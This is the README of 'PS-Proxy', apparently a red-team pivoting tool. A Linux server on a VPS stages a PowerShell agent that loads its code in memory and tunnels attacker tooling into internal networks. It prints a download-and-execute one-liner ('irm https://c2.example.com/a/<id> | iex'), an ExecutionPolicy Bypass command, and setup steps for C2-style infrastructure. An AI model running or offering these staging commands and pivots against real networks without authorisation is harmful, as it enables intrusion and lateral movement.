Files
Harrison-Wells-Cyber-PS-Proxy/README.md
2026-07-23 21:42:41 -07:00

7.1 KiB

PS-Proxy

PS-Proxy is a route-based TCP pivot for operators who need to reach internal network services from a Linux VPS through a Windows host that can access those services. It is built for TCP-heavy tooling such as Impacket, NetExec, RustHound, ldapsearch, and TCP-connect nmap without proxychains and without requiring local administrator privileges on the Windows agent host.

The tool has two parts:

  • Linux server: a Go binary that listens over TLS, stages one-time agent downloads, manages the encrypted tunnel, and redirects routed TCP traffic into the tunnel.
  • Windows agent: a single PowerShell 5.1 script that loads the embedded C# core in memory, enrolls with the server, and opens outbound TCP connections to internal targets from the Windows host's network position.

How it works

  1. You run psproxy-server on a Linux amd64 VPS with a public domain and TLS certificate.
  2. The server creates or reuses a stable PS-Proxy identity key (psproxy_identity.pem) and prints a one-time PowerShell staging command.
  3. You run the printed command on a Windows host that can reach the target network.
  4. The staged agent verifies the PS-Proxy identity inside the TLS connection, enrolls over an authenticated encrypted tunnel, and starts relaying traffic.
  5. On the Linux server, your tools connect directly to routed target IPs. In transparent redirect mode, PS-Proxy installs iptables NAT rules that redirect matching TCP connections into the local relay. The server preserves the original destination and asks the agent to open that target from the Windows side.

The Windows agent does not intentionally write the managed payload DLL to disk. Release agents load the embedded assembly with [System.Reflection.Assembly]::Load(byte[]).

Quick start from a release zip

Use this path if you downloaded a prebuilt release zip and do not want to build from source.

Requirements

  • A Linux amd64 VPS.
  • A public DNS name that points to the VPS.
  • A valid TLS certificate and private key for that DNS name.
  • If you do not already have a certificate, point your domain at the VPS and use Certbot, for example sudo certbot certonly --standalone -d c2.example.com.
  • Root privileges on the Linux server when using transparent redirect mode.
  • A Windows host with Windows PowerShell 5.1 that can make outbound HTTPS connections to the VPS and can reach the internal target network.

Release zip layout

Extract the release zip and keep the included directory structure intact:

psproxy-release/
├── psproxy-server
├── agent/
│   └── loader/
│       └── agent.ps1.tmpl
└── release/
    └── agent_assembly.b64

The server uses agent/loader/agent.ps1.tmpl and release/agent_assembly.b64 by default when you run it from the extracted directory.

Start the server

From the extracted release directory, run:

chmod +x ./psproxy-server
sudo ./psproxy-server \
  --domain c2.example.com \
  --cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
  --key /etc/letsencrypt/live/c2.example.com/privkey.pem \
  --route 10.10.10.0/24 \
  --redirect \
  --max-streams 256

Replace:

  • c2.example.com with your domain.
  • The --cert and --key paths with your certificate paths.
  • 10.10.10.0/24 with the internal network reachable from the Windows host.

If your certificate is in the default Let's Encrypt location for the domain, you can omit --cert and --key:

sudo ./psproxy-server \
  --domain c2.example.com \
  --route 10.10.10.0/24 \
  --redirect

By default, PS-Proxy listens on 0.0.0.0:443. If another service already uses port 443, set --listen or --port, or place PS-Proxy behind a fronting load balancer or reverse proxy that forwards to its own backend port.

Run the Windows agent

When the server starts, it prints a one-time PowerShell command like:

irm https://c2.example.com/a/<one-time-id> | iex

Run that command in Windows PowerShell 5.1 on the Windows host that can reach the internal network. After the agent enrolls, keep the PowerShell session running for as long as you need the tunnel.

Use your tools

From the Linux server, connect to hosts in the routed CIDR directly. For example:

ldapsearch -x -H ldap://10.10.10.10 -b 'DC=example,DC=local' '(objectClass=domain)'
nmap -sT -Pn -p 445 10.10.10.10

With --redirect, matching TCP connections to --route networks are redirected through PS-Proxy and opened by the Windows agent from its network position.

Optional DNS relay

If you want DNS queries to be forwarded through the agent to an internal DNS server, add both DNS flags when starting the server:

sudo ./psproxy-server \
  --domain c2.example.com \
  --route 10.10.10.0/24 \
  --redirect \
  --dns-listen 127.0.0.1:5353 \
  --dns-target 10.10.10.10:53

Then point DNS-capable tools at 127.0.0.1:5353 when they support a custom DNS server and port.

Optional fixed-target TCP relay

For a single local port mapped to a single internal target, use the fixed-target TCP relay:

sudo ./psproxy-server \
  --domain c2.example.com \
  --tcp-listen 127.0.0.1:1389 \
  --tcp-target 10.10.10.10:389

After the agent connects, use the local listener:

ldapsearch -x -H ldap://127.0.0.1:1389 -b 'DC=example,DC=local' '(objectClass=domain)'

Operational notes

  • Keep psproxy_identity.pem private and stable across restarts. It is the PS-Proxy application identity used by staged agents.
  • Enrollment URLs are short-lived and one-time use.
  • Do not log generated agent bodies, enrollment tokens, or reconnect tokens.
  • The server needs permission to install and remove iptables NAT rules when --redirect is enabled.

Build from source

Use this path if you cloned the repository and want to produce the server binary and packaged agent assets yourself.

Requirements

  • Go 1.24 or newer for the Linux server.
  • A Windows machine with Windows PowerShell 5.1 and the .NET Framework C# compiler for building the release agent.

Build the Linux server

From the repository root on Linux:

go test ./...
go build -o psproxy-server ./cmd/psproxy-server

For a smaller release binary:

go build -trimpath -ldflags="-s -w" -o psproxy-server ./cmd/psproxy-server

Build the PowerShell release agent

From the repository root on Windows, run:

powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1

The build script writes:

  • release/agent.ps1 — a single-file PowerShell loader with the embedded agent assembly.
  • release/agent_assembly.b64 — the compressed/base64 agent assembly used by the server when rendering one-time staged agents.

Assemble a release directory

Create a release directory with the server binary and packaged agent assets:

psproxy-release/
├── psproxy-server
├── agent/
│   └── loader/
│       └── agent.ps1.tmpl
└── release/
    └── agent_assembly.b64

You can now zip psproxy-release/ and distribute it as a ready-to-run Linux amd64 release bundle for operators who provide their own domain and TLS certificate.